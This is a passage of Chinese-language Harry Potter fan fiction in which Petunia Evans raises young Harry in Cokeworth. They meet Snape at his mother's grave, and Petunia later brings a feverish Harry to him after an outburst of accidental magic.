还是可怜可怜你自己吧,西弗勒斯,接下来的几年甚至十几年里,你的每一个假期,都要与一个“波特”,生活在同一个小镇上了。
世界上最后一片属于你的净土也被玷污了。
你可真是个可怜虫。
他紧紧捂着他被砸断的可怜鼻子。
脑子里只有一个念头:
——就多余管她。
但不管他怎么行,佩妮迷迷糊糊地想。
太阳已经照在了她的床头,就正照在她的眼皮上,但身下的床垫相当柔软,被褥里的温度恰到好处,都在告诉她,再闭一会儿眼。
等哈利睡着后,她才有空坐在书桌前完成她手上的那篇小说。
玛莎已经连续给她打了好几个电话,警告她要是再不交稿,她就要亲自杀来科克沃斯了。
她靠持续不断地给玛莎的报纸投些小说换取稿费过活。
零星接一点翻译稿件——有时是伊索尔德从她的大学找来的,有时则是玛莎寄过来,伊索尔德带着她学习的拉丁语总算派上了点用场。
但不够。
赚来的钱还是不够。
“姨妈。”3岁的哈利睡醒了,从床尾爬到她这一侧,打了个哈欠,用他的小手推了推她,告诉她他醒了。
“我饿了。”地表最强吞金兽,纸币粉碎机会说话后,除了喊姨妈,说得最多的就是这句我饿了。
佩妮迷迷糊糊地睁开眼,对上那双绿色的眼睛,伸出手摸了摸他柔软的黑发:“姨妈一会儿就去给你弄东西吃。”
随后她手一垂,眼睛又要闭上了。
这不能怪她,佩妮一直写到清晨第一缕阳光穿透树枝洒在她的书桌前,才放下她的笔。
哈利发现她的眼睛又要闭上了,就凑到她耳边乖巧地说:“姨妈,你再睡一会儿,我自己去给自己弄东西吃。”
这使得佩妮感到十分愧疚,哈利不怎么生病,也从不提过分的要求,现在就连饿了,都要自己给自己找吃的。
要做一个称职靠谱的大人啊,佩妮告诉自己。
可是把眼睛闭上实在是太舒服了,于是她闭着眼对哈利说:“你可以用电水壶烧点水,但不许拧开炉子,冰箱里有面包,用微波炉热一下,但是不准热鸡蛋,也不准放金属盘子。”
“好的,姨妈。”那双温热的小手松开了她,床垫一松,有什么东西从上头翻了过去。
佩妮慢慢滑入黑甜的梦境。
可不到一会儿,那小东西又跑到了她的身边,推了推她:“姨妈,我自己泡奶粉喝,可是一杯要放多少勺呢?”
佩妮迷迷糊糊地想,哈利应该是从储物柜翻出了他婴儿时期喝的配方奶粉,可是放多少勺来着?她自己也忘了,于是她摸着哈利的脑袋对他说:“随便,喝饱就行。”
小东西跑开了。
过了一会儿,床垫一沉,那小东西掀开了她床脚的被褥,拖着一本冰凉的绘本,紧紧地贴住了她。
昏沉之间,佩妮感受着腿边紧紧贴着自己的温度,一颗心既满涨又酸楚。
她睡了一个很长的觉,直至日上中天,佩妮才猛地从床上坐起来,看见哈利含着手指,蜷缩在她的腿边也睡得深沉。
佩妮从满床散落的衣服和彩图绘本中,把哈利捞进了自己的怀里。
“今天我们去哪儿,姨妈?”哈利伏在佩妮的肩头,揉了揉他的眼睛,声音里还带着没睡醒的困倦,但他一点儿也不恼怒佩妮就这么把他喊了起来。
佩妮一件一件给哈利穿上了衣服,把他揉上去的黑色刘海抚平,遮住那道闪电型的伤疤,看着他的脸颊忍不住亲了一口:“今天我们去工作。”
阿加莎女士为她谋求了一份有些“特殊”的工作。
自从意识到自己要跟一个“波特”生活在同一个小镇里,每逢假期,只要回到蜘蛛尾巷,斯内普都得格外小心。
如无必要,他绝不出门闲逛。
珍贵的假期需要用来休养生息。
他对邓布利多给他在霍格沃茨安排的职务只有两点不满。
第一,没有按照他预想的那样让他去教授黑魔法防御课,他相信他已经向邓布利多完全展现了他在黑魔法防御上的天赋,但邓布利多仍执意让他教授魔药课程。
当邓布利多向他表示他的魔药天赋同他的黑魔法防御术天赋一样卓越出众,不可埋没时,他只好勉为其难地接受了他的安排。
第二,他需得教授从一到七年级所有孩子的可能。噢,梅林啊,他很快就意识到了人类的智慧是多么的参差——主要是向下的参差。
在勉勉强强同七年级那已经初步达到类人智商的孩子们费尽口舌地讲清楚了那些在他看来只是入门级魔药,却感觉要了那群孩子们半条命的魔药原理后,他真的做不到在下一堂课面对宛如完全未开化的远古巨兽般的一年级孩子露出和蔼可亲的笑容,指导他们挥舞魔杖左三圈右三圈地指挥坩锅熬制“宝宝气泡水”。
———噢,还得时刻注意他们的坩锅不能发生爆炸。
梅林啊,看看那些被家长带来找他理论的孩子们,眼神惊恐活像受了什么天大的委屈一样,但他在头脑里受到的来自他们愚蠢的冲击,并不比他们少。
还有那些家长们,真希望他们在下次有求于他的魔药时,也能够摆出这种站在他的办公室里,试图同他理论的气势。
一般来说,他给他们说话的机会,可还没等他敲敲魔杖,替他们搬来椅子,好好聊上一聊,他们自己便露出一副好像受到了什么迫害般的表情,逃之夭夭了。
相当没有意思。
他父母都去世之后,他便继承了蜘蛛尾巷的那栋房子。
房间内部不算高,窗户狭小,阳光不能照彻整间客厅,但这对于他来说,却是一个绝佳的魔药储存和调制室。
社交?他绝对不会做这种蠢事。
与其与一堆大脑空空的人讨论天气、今天吃了些什么,他不如穿上他的那套灰色法兰绒睡衣,端上一杯热气腾腾的红茶,在那套他量身定做的书桌前,敲敲坩埚的边缘,聆听里面的液体冒出气泡的美妙声音。
如果需要向他订购魔药,只需要在信里附上足够多的金加隆,选择一个极好的艳阳高照的日子,绑在猫头鹰的腿上,再寄过来。
只有遇到和他心意的魔药药材时,他才会勉为其难地披上他的外套和斗篷,去与那群永远无法慧眼识珠的庸才进行沟通交流。
但,只有极少数的时刻,他也需要外出一趟。
出门之前,斯
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内普谨慎地看了一眼西斜的太阳,确认这个时间点数科克沃斯的孩子们都得被喊回家吃饭了,才从玄关处取下他黑色外衣和斗篷,关上门慢吞吞地走了出去。
天边的彩霞像油画一般绚丽。
他先经过连通蜘蛛尾巷的炉灰巷口那家杂货铺。
透过玻璃门,他往里头明亮整洁的店铺瞥了一眼——偶尔他会来这里进购一些红茶和白砂糖。
他一直避免在他的生活里出现诸如“哈利”、“波特”这种令他不愉快的词汇,但某一次,在那间杂货铺时,他听见两个买啤酒的工人在谈论现在住在伊万斯老宅里的那个女人还有她带的孩子。
“还用说,她肯定是被哪个男人抛弃了,生下了一个生父不详的野种。”其中一个男人说。
“她应该擦亮眼睛,选择一个足以托付终身的好男人。”另一个男人说。
“比如你吗?马丁?”另外一个男人哈哈大笑起来。
总是这样,斯内普皱起了他的眉头,从心底里不可遏制地涌出对这个世界的厌恶,要什么时候,他才能不被那些令人作呕的东西包围。
砰——可还没等他动作,那位杂货铺的老板——他到现在才发现,那是那天出现在老宅前,头戴苏格兰风情头巾的那个女人,把两瓶啤酒重重地放在了她面前的柜台上。
“要我说,她谁也不会选择,她一个人就足够干翻这个世界了,而你们——不如回家撒泡尿好好照照自己,希望在面对拖欠你们工资的包工头时,你们也能表现出像现在这样针对一位孤身抚养去世妹妹独子的女士随意评头论足的勇气和智慧。”
太复杂了,斯内普想,他不认为那两位大脑里面空空如也,只有啤酒晃荡的男人能听得懂老板这一段显然超出了他们理解程度的长难句。
那两位男人听不懂长难句,但也听得懂情绪,他们一下就涨红了脸:“嘿,薇拉……”
“我没有允许你们叫我的名字,叫我温斯顿小姐。”老板的视线寸步不让。
在那两位男人欺身靠近的时候,老板拨通了手边的电话:“戈斯警长,你要的东西我准备好了,一会儿就给您送过去。”
挂断电话,那老板直勾勾地盯着欺身上前的两个男人:“阿尔,马丁,你们要跟我一起去警察局吗?噢,别挡着路,你们影响我做生意了,先生你好,可以过来结账了。”
她的视线落在了他们身后拿着红茶和方糖的斯内普身上。
斯内普原来想把红茶和方糖放回货架上,早点抽身离开这个麻烦的地方,然后永远不再光顾这间杂货铺。但老板一下就抓住了他,他只好把红茶和方糖放在了柜台上。
现在,斯内普沿着越来越昏暗的道路往前走,路灯逐渐亮起来,在日光彻底落到山谷后,月亮挂到树梢间时,来到了他的目的地。
有零星一两只乌鸦扑闪着翅膀,从一棵树飞到另一棵树。
墓园的气氛永远这么肃穆。
风刮过树梢的声音只显得墓园更加萧瑟。
他看着昏暗中萧瑟的墓园——这是属于他的时间,敲开守墓员小屋那扇在昏暗中散亮着黄光的窗。
“一束车矢菊、一束勿忘我……还要一束白百合。”他说。
“好的,先生。”回应他的却不是以往守墓员那苍老的声音,而是一道稚嫩的童声,“姨妈!一束车矢菊、一束勿忘我,噢,还有一束白百合。”
那道稚嫩的童声重复着他的话。
斯内普不可置信地抬起了他的眼睛。
绝望地对上了一双亮晶晶的翠绿色的眼睛。
他绝对不会认错的那隐藏在黑色刘海里闪电状的疤痕。
他的头开始痛起来。
“哈利?”那女人的声音出现在了哈利的身后,“有人要来买花吗?”
现在不仅头痛了,听到那女人的声音,他的鼻梁也开始隐隐作痛起来。
不是,梅林啊,谁来告诉他,谁来救救他。
为什么他已经相当谨慎地避开游乐场、托儿所、预备班、商业街道等等那些会有猛兽出动的地方,都跑到墓园来了,还能在这儿!
在这个墓园!
看见哈利·波特还有她的姨妈?
102.chapter101
目之所至是一片昏暗的墓园。
不远处风吹过密林,带起一阵阵好似呜咽般的声音。
可救世主好像并未意识到自己到底身处何处。
“一束车矢菊……”斯内普裹紧了自己的衣袍,面无表情地低头看着,看着哈利·波特——那位伟大的救世主,像一条小狗一样,在夜风中贴着他的脚边跑来跑去,嘴里念念有词地数着路边盆栽里的花。
斯内普必须得很小心地裹紧自己的衣袍下摆,才能保护自己可怜的衣袍不被救世主沾污到。
“车矢菊在那里!”救世主的眼睛里发起了光,跌跌撞撞往围栏脚下层叠堆在一起的盆栽跑过去,从里头摘下了一丛车矢菊。
那双翠绿色的眼睛跑回来,仰头看着他,怀里抱着的是一捧车矢菊还有勿忘我:“只剩白百合了,先生,姨妈一会儿就给我们拿过来。”
斯内普不动声色地瞥了瞥嘴,垂眸看着他。
相当不专业,他心想,不是预先准备好的花,竟然还需要客人现等。
没有什么耐心,斯内普拔腿便向墓园的深处走去。
为了跟上他的步伐,救世主怀里抱着他点名要的花一路小跑,喘着气,额头不多时便冒出一层细密的汗珠。
斯内普蓦地停下来,低头瞪着那条穿着红色T恤,牛仔背带裤,头戴一顶红白相间棒球帽的小狗。
救世主也懵懵懂懂地跟着他停下来,抬着绿色的眼睛茫然地看着他:“我送您进去,先生。”
看着斯内普的表情,他贴心地补充了一句:“是免费的服务,不要小费呢,先生。”
听听,才三岁的孩子,就知道小费小费,他那好心的姨妈到底教给了一个三岁的孩子什么东西。
斯内普咬了咬牙齿,察觉自己太阳穴处的皮肤在跳动,看着那双翠绿色的眼睛,问出了他想问的那句话:“你为什么在这里?”
“我们负责看守墓园,给那些鲜花浇浇水,再把那些鲜花售卖给合适的人。”
“姨妈给他们写悼词,每次在葬礼上他们念完姨妈写的悼词,都会哭起来,所以我觉得姨妈的悼词肯定写得很好。”
斯内普的嘴唇动了动:“你知道我要去哪里吗?”
救世主点了点头:“当然啦先生,您同艾琳女士长得相当像。”
好像有一根针穿到了他的心底里,就像处理魔药材料时,棘刺刺破他手指的感受。
救世主一边抱着鲜花往前走,一边跟他分享他的秘密——说得他好像很乐意听一样:“我在艾琳女士的墓碑前放了糖,姨妈不准我吃糖,但每次姨妈在小屋写悼词的时候,我就会跑到艾琳女士那里,和她分享我的糖果。”
“姨妈跟我说吃糖就不痛了。”
又是这样,好像和他母亲很熟似的。
那次就不该把她带进家里,他的母亲给了她什么,就好像两人达成了一种谁也不知道的同盟似的。
托比亚·斯内普跌进河水里溺亡时,他的心里没有一点感觉,好像躺在葬礼上的那个人不是他的生父,同他毫无关系似的。
在葬礼上,艾琳也没有什么反应,可等她的精神慢慢垮下去的时候,他却一点也不觉得奇怪。
她的答案不在托比亚·斯内普那里。
在她生命的后期,他不得不把她带在身边,以防她随时的惊恐发作。
他尽量做了万全的准备,可那一次她还是不见了,他吓坏了。
他要去伦敦挣一笔书本费,他只好把她安置在一个房间里,同她讲好了让她在这儿等他,可只是一眨眼的功夫,她就不见了。
在大街上仓皇跑着的时候,他的心脏快从嗓子眼里跳出来了。
可结果就看到她和他母亲坐在长凳上,他母亲的手里竟然还握着一个草莓冰淇淋。
就又好像她们又再次结成了什么同盟一样。
艾琳把那个融化的草莓冰淇淋递给了他——所以当年她确实看见了他在追着那辆草莓冰淇淋的车。
他不得不低下头,在她托着腮望着他的视线里,狼狈地吃下了艾琳递给他的冰淇淋。
可这一次,他却没有把草莓冰淇淋吐出来。
伊卡洛斯、伊卡洛斯……她看着他的目光一下就灼痛了他,她以为她知道了些什么,一个自以为是的麻瓜,以为与他粗浅的相逢还有莉莉口中的那些事情——他丝毫不介意莉莉会向她姐姐怎么描述他,就以为能了解他了?
于是他反唇相讥,你怎么知道伊卡洛斯不是自愿的?
他每一个选择,都是自愿的,没有任何人能置喙。
你说的对,可那女人说,她眨了眨自己浅灰色的眼睛,像是突然明白了什么,对他欠了个身就走了。
这倒让他始料未及。
比起莉莉,实际上她那位姐姐,更让人摸不着头脑。
在艾琳生命的尽头,她躺在床上,目光直勾勾看着蜘蛛尾巷低矮的天花板,但神情却一派轻松。
“我要回家了,她会原谅我的。”她看起来相当高兴。
虽然一颗心已经皱缩在一起了,但她开心,他也只好露出一个比哭还难看的笑容。
“妈妈。”他握着她的手,轻声说。
“对不起,”她的视线落在了他身上,恍惚的目光又重新落在他身上,“但你的出生,我一点儿也不后悔,西弗勒斯。”
他把头抵在她逐渐冰凉僵硬的手上,感受地板的微微震动,阳光就在她床铺旁边,照亮空气里散在的微尘。
她回家了,所以他也不怪她把他一个人抛弃在这世界上了。
墓园昏暗,他看着救世主,救世主的视线被一只经过的蝴蝶吸引走,蹲在路边,小心地冲那只蝴蝶伸出他的手。
他发誓他绝对不是故意的,只是个小意外,是救世主的尊臀主动亲吻他的鞋尖的。
救世主往前一扑,活像一只失去了重心的企鹅,脸朝下咕咚一声栽到了旁边的泥地里。
斯内普撇起了他的嘴,眉头却快意地扬了起来。
他等着救世主哭出来,哭着喊着要去找他的姨妈。
可救世主好像没事人一样,立刻就从土里站了起来,他的棒球帽歪了,脸上还沾了一些泥土,但他看起来相当开心,脏兮兮的双手合拢,献宝似地递到了他面前:“抓到了!我抓到了!”
他居然以为他推他那一把是为了帮他抓蝴蝶!救世主张开手,露出双手间的那只紫色蝴蝶——他一张开手,那蝴蝶就扑闪着翅膀,挣扎着飞起来,可救世主也不阻拦,任凭那只蝴蝶飞离了他的掌心。
斯内普移开了自己的视线,眼前的这个孩童,一头乱糟糟的黑发,简直就像詹姆·波特再世,唯独一双绿色的眼睛,他笑起来的神态同他那姨妈一模一样。
——也是个波特,他深恶痛绝的波特。
新仇旧恨一下涌上心头。
可这个波特却不会还手。
这个波特什么也不知道,过去的事情不知道,未来的事情也不知道,只像个傻子一样长着嘴巴看着他,向他炫耀他“帮”他捉住的蝴蝶。
意识到这一点,他瞬间索然无味,倒尽了胃口。
爱和恨的潮水激烈地从他心口涌荡过去后,除了一片空荡荡的空地,什么也不给他剩下。
一点意思也没有。
在伴随着夜色升起持续下降的温度里,斯内普裹紧了他的袍袖,大步流星走向属于他母亲的墓碑,把哈利·波特远远地甩在了后面。
还真有一盒糖放在他母亲的墓前。
不止一盒糖,还有一小束早已放在那里的菊花,甚至还插了一个小风车。
斯内普放眼望过去,那每一排墓碑前面,都放下了一朵或白或黄的小花。
救世主捧着他要的花,跌跌撞撞跑了过来,扎好的花束快把他整个脸都挡住了。
他的棒球帽歪歪斜斜地戴在头上,气喘吁吁地把他的花放在了艾琳的墓碑前。
照片上的女人看着他们。
“晚上好啊,艾琳女士。”救世主自然地对她说。
“那是我的妈妈!波特,别叫的那么亲密,说得你好像真的跟她很熟一样。”
“晚上好,碧昂女士,晚上好,丹尼尔先生……”救世主给一排的墓碑都打上了招呼。
“你看不到白色的幽灵吗?就在坟墓之间穿梭,一会儿就要从墓碑后跑出来把你抓走了。”斯内普的声音里一点儿感情也没有。
“不会的。”救世主的视线在一排排墓碑之间划过去,从地上捡起了他的风车,“他们在世的时候都是顶顶好的人。”
“碧昂女士有十几只猫咪,丹尼尔先生原先是镇子上的牙医……”救世主吹动了他手上的那个白色风车,无视着周围阴森的氛围,仿佛这儿不是墓园,是他的游乐场似的。
他那双翠绿色的眼睛里没有一点对死亡的恐惧。
“姨妈说,只有生前没有好好活过的人,才会惧怕死亡。”
“我每一天都有很认真地吃饭,睡觉。”他认真地看着斯内普,弯腰从地下的糖盒里拾出了一颗糖递给他。
斯内普没有接,于是救世主把那颗糖塞进了他自己嘴里,斯内普听见玻璃糖纸被搜开的声音,还有风车转动的声音,一动不动地凝视着墓碑里看着他的艾琳。
“更何况祖父祖母都在这里呢,他们躺在右边第二排从右往左数的第三个位置,之前那棵树上有一只知更鸟。”
“爸爸妈妈不在这里,不过姨妈说,等我再长大一点,就带我去看他们。”
“不过哈利想到了办法,能让妈妈也陪着我。”
“妈妈?”斯内普皱起了他的眉,看着救世主不甚雅观地翻出了他牛仔背带裤的衬里,从最贴身的一个口袋里摸出了一张照片。
6岁的莉莉举着棉花糖,大笑着看着镜头,后面站着皱着眉的佩妮·伊万斯。
背后是扑扇翅膀的白天鹅。
救世主在自己的牛仔裤上抹了抹他的小手,把照片翻了过来。
莉莉永远爱佩妮,永远。
有那么一刻,斯内普觉得自己的呼吸滞了一滞,但他立刻调整好了呼吸节奏,冷漠地看着救世主:“你姨妈允许你拿这张照片了吗?”
“哈利。”佩妮·伊万斯的声音遥
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遥了过来。
救世主闻言脸色立刻大变,他翠绿色的眼睛一转,相当紧张地对斯内普说:“先生,您可千万别告诉我姨妈。”
随着她声音还有步伐的逼近,斯内普见到救世主以完全不符合他年龄的敏捷程度把照片重新塞回了牛仔裤裤兜里,顺道掀起了斯内普的衣袍下摆,把那盒糖塞了进去。
……
佩妮·伊万斯拿着一束白百合走了过来,将哈利散落在一旁的车矢菊,勿忘我捡起来,迅速地扎成了一束,将其轻轻地放在了斯内普的旁边。
随后将赖在他身边不走的,拿着风车玩耍的哈利·波特拽了起来:“别打扰斯内普先生了,我们得回去了,哈利。”
哈利·波特被佩妮拽了起来,吹响了他的风车:“哈利·西西弗斯·堂吉诃德·德·波特骑士要返航啦!”
斯内普慢吞吞地从他的衣袍下摆里掏出了那盒糖:“哈利·西西弗斯·堂吉诃德·德·波特骑士漏了一盒糖,以及请他姨妈好好看看他裤子口袋里是否有她遗漏的照片。”
空气中立刻响起了佩妮·伊万斯对她的侄子怒吼的声音:“哈利,你又偷偷拿走了我的照片,还有你为什么又偷吃糖?”
哈利一双翠绿色的眼睛立刻相当委屈地瞪向了斯内普,满眼都在控诉他的不讲信用。
哈,没有替救世主保守任何秘密的义务。
“哈利·西西弗斯·堂吉诃德·德·波特?”这一长串滑稽的头衔从斯内普的唇齿间滑过,以至于他想掰开救世主的脑袋,看看里面到底被他那不靠谱的姨妈都塞进了点什么东西,“你家住得下那么多人吗?波特先生?”
佩妮的视线里,斯内普一身与夜色不能分辨的黑袍,挺着他的脊背,就那样跪坐在他母亲的坟墓前。
他怎么总是一副嫉恨讥笑的样子,连一个三岁的小孩也不放过。
她一把牵过哈利,怒目注视着那个青年,提醒他注意他的措辞:“嘿,他才是个三岁的孩子。”
她的愤怒丝毫没有撼动他,斯内普微微向她侧过了脸,下巴在黑色的长发间微微一扬,讥笑着反问:“你也知道他才是一个三岁的孩子?那你要不要看看他现在在哪里?”
风从寂静的墓园之中穿过去,只能听见风车转动的哗啦啦的响声。
她重新凝神看着他不肯回头的背影,电光火石之间,她一下就明白了些什么。
于是她大笑着把哈利抱了起来,鼓起一口气,吹动了那个风车:“告诉他,哈利,告诉他你是谁!”
哈利朝天空中举起了他的风车,月光明晃晃地照着他手中那个风车一刻不停转动的扇叶,将他稚嫩又清亮的声音送得又长又远:“我是——
哈——利——波——特——”
斯内普就那样跪坐在他母亲的坟墓前。
他感受着微凉的夜风,看着漫天的星空。
声音太大了,他们走了有一会儿,风车咕噜噜转动的声音,风吹过树梢带来的沙沙响声还一刻不停地在他心中激荡着。
一颗糖从袖子里落到了他的手上——他把那盒糖拿出去时,出于一些他自己也不能理解的原因,留下了一颗。
照片里的母亲在看着他。
在他母亲的视线里,他迟疑地伸出手揉开了那玻璃糖纸,把那颗糖塞进了他的嘴里。
唯独感受是不能欺骗自己的,西弗勒斯。
斯内普从守墓员小屋亮着昏黄灯光的窗外悄无声息地经过,听见佩妮·伊万斯在教训哈利波特。
“没有我的允许不准动我的照片!”
“对不起,姨妈!”
“你少惹西弗勒斯·斯内普。”
窗外的男人讥讽地勾起了他的嘴角。
“可是他和艾琳女士真的很像。”
“……说到这个,这也不是你在艾琳那儿偷吃糖的理由,吃那么多糖牙齿会坏掉的!”
“好吧姨妈,那给你吃糖。”
“……”
他听见玻璃糖纸被撕开的声音,随后响起了佩妮·伊万斯紧张的声音:“这糖你给斯内普了吗?”
一股不详的感觉笼罩在了他的心头。
“我想分享给他来着,但他没要姨妈。”
他听见佩妮·伊万斯松了一口气,伴随着巴掌落在屁股上的清脆声,佩妮·伊万斯中气十足的怒吼一字一句清晰地从小屋里飘出来,传到了他的耳朵里。
“那你告诉我,为什么又把那些糖都舔了一个遍?”
“……”
波特!!
一定是乌云笼罩了一切,斯内普只觉眼前一黑又一黑,用尽了自己毕生所有的克制力,才没捏着他的魔杖把那个小屋的顶给掀开。
身后的木屋里飘出来救世主那被误解的委屈又不服气的声音。
“姨妈!我每颗糖都舔一口,是为了把那些酸的糖自己吃掉!”
“这样留给你们的每一颗,都是最甜的糖!”
他不会再允许任何一个波特随意地靠近他了。
他发誓!
斯内普步履匆忙地离去,袍袖在夜色中愤怒地翻飞。
103.chapter102
“姨妈——”当那声尖叫伴随餐具被砸碎的声音传来时,佩妮立刻从昏沉的睡意中惊醒了过来。
她从床上跳起来,鞋也顾不得穿上,赤脚踩在冰凉的楼梯上,顺着哈利的尖叫一股脑冲向了一楼的厨房。
迎面是她的哈利——左手拿着一只奶粉勺,右手持着一个断裂的陶瓷杯柄——正漂浮在厨房的天花板上,惊慌失措地看着她。
伴随在哈利身边悬浮飞起来的还有许多盏陶瓷餐具,像灯光下的蛾虫,围着哈利在上下飞舞。
眼前的情景使一口冷气倒吸在了佩妮的嗓子里,但她瞬间控制住了自己,没有叫出来,而是慢慢走了过去。
“姨妈,”飘在空中的孩子抽噎着对佩妮说,“哈利摔碎了姨妈的杯子,妈妈送给姨妈的杯子。”
那双翠绿色的眼睛噙着泪水,自责又难过地看着她,右手不安地挥舞着那个断裂的陶瓷杯柄。
记忆一下被拉回了那个下午,莉莉摔碎了她的旧杯子。
旧杯子被莉莉粘了起来,就放在佩妮房间的书架上。
有一天晚上,佩妮抱着哈利,把这个故事讲给了他听。
她握着他的手,抚摸杯子上的一道道裂纹,感受那凸起的纹路拂过指腹的感觉。
这是爱与勇气,她对那孩子说。
可那孩子只是张着嘴,茫然地看着她——他还是个孩子,懵懂不知其中的用意,他只能隐隐意识到那个杯子对她的非凡意义。
“哈利不想打扰姨妈,哈利有一点饿……”哈利挥了挥左手的奶粉勺,“哈利想用姨妈的杯子冲泡奶粉,但水有一点烫,杯子就从哈利手里滑下去了。”
佩妮顺着他的视线,看见了桌面上倾倒的水壶,顺着桌面淌下去的水珠,蓄积成一滩还冒着热气的水洼,水洼旁边是一堆碎裂的瓷盏——那是莉莉后来重又用自己的零花钱送给的她一个崭新的杯子。
“那你烫到了吗,哈利?”她的心砰砰直跳,但她控制着自己的声音,视线越过乱七八糟的桌面和地面,看向飞在天空中的孩子,柔声说。
“没有,姨妈。怪事发生了,热水要烫到哈利身上时,被弹开了……”说到这句话时,他的表情看起来很惊恐,“哈利想要去捡地上的碎片,但是哈利像气球一样飞起来了,哈利越急,就离碎片越远,现在连祖母留给哈利和姨妈的餐具,都飞起来了。”
他那双翠绿色的眼睛一下瞪大了:“是墓园的幽灵跟着哈利回来了吗?”
“是妈妈。”佩妮斩钉截铁地说。在莉莉手中开合的花浮现在她的脑海中,她一下就意识到这是那来自于莉莉和詹姆的力量,不知道为何却在这一时刻,从这什么也不知道的孩子身上不合时宜地涌现了出来。
她跨过热水洼还有碎裂的瓷片,走到哈利的正下方,镇定地对他伸出了手:“那是妈妈在保护你呢,哈利,到姨妈这里来。”
哈利恐慌又难过地看着佩妮:“可哈利不知道怎么下去。”说完这句话,他又惊恐地发现他离佩妮更远了一点。
佩妮举着她的双手,执着地追了上去,坚定地说:“哈利,到姨妈这里来。”
灯光在他们头顶闪烁。
哈利定定地看着佩妮,眼睛一眨不眨地看着佩妮对着她举起的双手。
霎时间围绕在哈利身边的那些餐具开始往下掉落,劈里啪啦地砸在厨房的地面上碎成了一片片。
无视那些就砸在她脚边的碎片,佩妮扑上前去,一把接住了掉下来的哈利,牢牢地抱住了他。
那孩子沉甸甸地落在了她的怀里——像一颗坚实的小炮弹,她把自己的脸颊埋在哈利柔软的黑发间,感受着他身上柠檬洗发水还有奶粉的香气,一颗快要从她嗓子里跳出来的心才落到了胸腔里。
“姨妈,”温热的泪水顺着她的脖颈流到她的衣服里,“哈利是个坏蛋,哈利把她们留给姨妈的礼物都砸碎了。”
但佩妮紧紧地抱着他,在他耳边温柔地说:“不是的,杯子很重要,但哈利更重要,因为哈利也是她们留给姨妈最珍贵的礼物。”
佩妮从地板上站了起来,夜色已经悄然爬上了窗户,她感受着怀里孩子不正常的体温,从沙发上抄起一条围巾,把哈利严严实实裹住后,便果决地冲进了窗外深沉的夜色里。
“姨妈,我们去哪儿?”俯在佩妮肩头的哈利小声问她。
夜风中佩妮吸了吸鼻子,在哈利滚烫的额间轻柔地落下一个吻:“你生病了,姨妈带你去看病。”
目之所及是深夜昏暗的街道,只有街灯亮着光,周围一片寂静,路边的房屋窗户里漆黑一片,一切俨然都陷入在沉睡中。
她无心去看那昏暗的街景,只想着快点,再快一些。
可天空却倒映在哈利翠绿色的眼睛里——悬挂在天上的明亮的月亮,散落在月亮旁边那些像钻石般的星子,落在他的眼眸里,交织成一副动人的画卷,可那些美丽的景色却远远不如佩妮那散落在他眼前的,凌乱的金发那般耀眼。
他伸出手想要抓住佩妮的头发,不仅仅是因为那头发在月光下像流动的银水一般美丽,那头发还挡着他看着佩妮侧脸的视线了。
“姨妈,我不想去医院。”他对佩妮说。
佩妮按住哈利乱动的手,顺势把自己的头发别到了耳后,聚精会神地盯着前方的道路:“我们不去医院,我们去找一个能帮你的人。”
哈利看着姨妈的侧脸,听着她有些吃力的呼吸,他懵懵懂懂却又执着地伸出他的手,拂去了从佩妮额角滴下来的汗水。
他身上很痛,意识也昏昏沉沉,可他被一片温暖的海洋所包裹。此时此刻——他还是个孩子哩,时间流速的尺度在他这样的孩子身上是不一样,一秒钟的时间也足以被拉得相当漫长,因此只在此时此刻,他许愿,他想要永远和佩妮姨妈待在一起。
佩妮抱着哈利快速跑过好几条寂静的街道,拐过弯,走过那条小桥,记忆里那栋熟悉的房屋很快便出现在了她的眼前。
她抱紧了哈利,三步并作两步地冲过去,敲响了蜘蛛尾巷那栋房屋的大门。
房屋回应予她沉默,从里面被封上的窗户仍然漆黑一片。
倒是远处传来几声狗吠,划破寂静的夜空。
佩妮咬咬牙,再次叩响了大门。
啪——不多时,二楼的房间不耐烦地亮起了昏黄的灯光,她听见从房屋的深处传来一阵响亮的门板摔上门框的声音。
接着是重重的脚步声从房屋里面传来。
门开了,被拉开漆黑的门缝里,月光照亮青年那一张被扰人清梦,看起来既愤怒又混杂了些罕见迷茫的面颊上。
——他的神色可说不上美妙,尤其是看清楚来人后。
砰——门只开了一瞬间,佩妮只来得及看见一袭灰色的衣袍在她视线里一闪而过,她还没来得及思考他的头上还有双脚上的可疑灰色物品是什么,门又重重地关上了。
可怜的木门在她面前发出震天的动静,她都能看见月光下像雪花一样簌簌飞起来的木屑——幸亏她及时后撤了一步,她的鼻子才能免于被骤然甩上的木门袭击拍断的命运。
房屋又陷入了一片寂静中,在佩妮伸出手,不屈不挠地试图再次叩响大门时,斯内普再次拉开了房门。
当然,这回仍然只有一道缝。
月光下这回她总算看清了他,斯内普把自己从头到脚严严实实地裹在了一袭黑色的衣袍里——她感谢他深夜慷慨地开门,但恕她直言,她不合时宜地想,他为什么总把自己弄得像一只蝙蝠一样。
斯内普一张脸苍白又因瘦削而显得锐利,他皱着眉,从高处俯视着佩妮。
“伊万斯小姐,如果3秒钟之内你无法说出深夜扰人清梦的合理理由,我就把你还有你怀里的波特,扔进我家旁边的那条臭水沟里。”他拉长了他的语调,像一条毒蛇吐着信子,释放出威胁的信号,但他声音里那因刚睡醒的一点沙哑,使他的威胁听起来并不如他想象的那般有威慑
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“哈利生病了。”佩妮凝视着月光下那双黑色的眼睛。
“哈?”青年一个战术性后仰,“生病了就去看医生,你找我做什么,我只是一个可怜的……”
“他飞起来了,”佩妮打断了斯内普的话,“和他一起飞起来的,还有厨房里的餐具……总之,等他掉下来后,他就发烧了,现在意识也不是很清醒。”
斯内普不说话了,眯起了他的眼睛,像是一条毒蛇盯着猎物一样盯着佩妮,咀嚼着她话语里的可信度。
佩妮微微侧过身,露出裹在围巾里,哈利那张因着发热而潮红的小脸。
些许有一些失策,斯内普想。
邓布利多给他寄了一封信,原信的用意是给他寄来邓布利多为他找到的魔药材料。
但——
斯内普嫌恶地抖了抖信封,一顶灰色的羊绒帽还有一双灰白相间的棉绒袜便从信里慢悠悠地飘了出来。
随信附上一顶相当漂亮的灰色帽子还有一双袜子,邓布利多在信中写道,麻瓜商店的售货员告诉我,降温的夜晚若想获得更舒适的睡眠,套上帽子还有袜子。相信我,你绝对值得一试,西弗勒斯。
斯内普撇了撇嘴,捏着灰色帽子的帽尖还有长袜的袜筒把它们嫌弃地扔在了软椅上——他一点儿也不相信邓布利多的追求和审美,虽然随那封信寄来的灰色帽子还有袜子的手感倒是出乎他意料的柔软和舒适。
但听着窗外夜风的呼啸声,穿着他那件灰色法兰绒睡衣坐在床边时,斯内普鬼使神差地从软椅上拾起了那顶软帽还有袜子。
